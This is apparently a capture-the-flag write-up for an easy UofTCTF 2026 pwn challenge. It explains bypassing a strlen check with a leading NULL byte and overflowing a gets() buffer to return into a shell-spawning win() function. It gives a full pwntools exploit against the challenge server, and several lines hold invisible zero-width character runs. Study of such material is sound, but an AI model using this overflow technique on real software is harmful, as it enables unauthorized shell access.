← Back to Writeups
CUSTOMEasypwn

Baby bof

XESXOR9/2/20262 min read
#pwn#custom#easy#ret2win#stack_alignment#strlen_null_bypass#linux

Baby bof

Platform: uoftctf2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: ret2win, stack_alignment, strlen_null_bypass

Summary

Baby bof — UofTCTF 2026

Description

People said gets is not safe, but I think I figured out how to make it safe.

Analysis

Binary Protections

ELF 64-bit LSB executable, x86-64
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Key points:

  • No PIE — function addresses are static
  • No canary — no stack overflow protection
  • NX enabled — cannot execute shellcode on the stack

Vulnerability

The program uses gets() to read input into a 16-byte buffer on the stack. As a "protection", it checks strlen(buf) > 14 — if the length is greater than 14, the program exits with the message "Thats suspicious". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
char buf[16];
gets(buf);
if (strlen(buf) > 14) {
    puts("Thats suspicious");
    exit(1);
}

Key Insight

strlen() stops at the first NULL byte (\x00)!

If we start the payload with a NULL byte:

  • strlen() returns 0 (check passed)
  • gets() continues reading data after the NULL byte
  • Buffer overflow is still possible

Target Function

The binary contains a win function at address 0x4011f6:

c
void win() {
    system("/bin/sh");
}

Stack Layout

+------------------+
| buf[16]          | <- rbp-0x10
+------------------+
| saved RBP (8)    | <- rbp
+------------------+
| return addr (8)  | <- rbp+0x8
+------------------+

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Offset to return address: 16 (buffer) + 8 (saved rbp) = 24 bytes

Stack Alignment

On x86-64, the stack must be 16-byte aligned before calling system(). We use a ret gadget (0x40101a) for alignment.

Solution

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Addresses from the binary
win_addr = 0x4011f6
ret_gadget = 0x40101a  # for stack alignment

# Offset to return address: 16 (buffer) + 8 (saved rbp) = 24
offset = 24

# Payload structure:
# \x00           - strlen() returns 0, bypassing the check
# 'A' * 23       - padding to return address
# ret_gadget     - stack alignment
# win_addr       - address of win() function
payload = b'\x00' + b'A' * (offset - 1) + p64(ret_gadget) + p64(win_addr)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r = remote('34.48.173.44', 5000)
r.recvuntil(b'What is your name:')
r.sendline(payload)

r.sendline(b'cat flag.txt')
print(r.recvall(timeout=5))

Useful Commands

bash
# Find win function
objdump -d chall | grep win

# Find ret gadget
ROPgadget --binary chall | grep ": ret$"

# Check protections
checksec chall

Related Techniques

  • ret2win — overwriting return address with the win function address
  • Stack alignment — using ret gadget for alignment before system()
  • NULL byte bypass — bypassing strlen via NULL at the start of the string ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍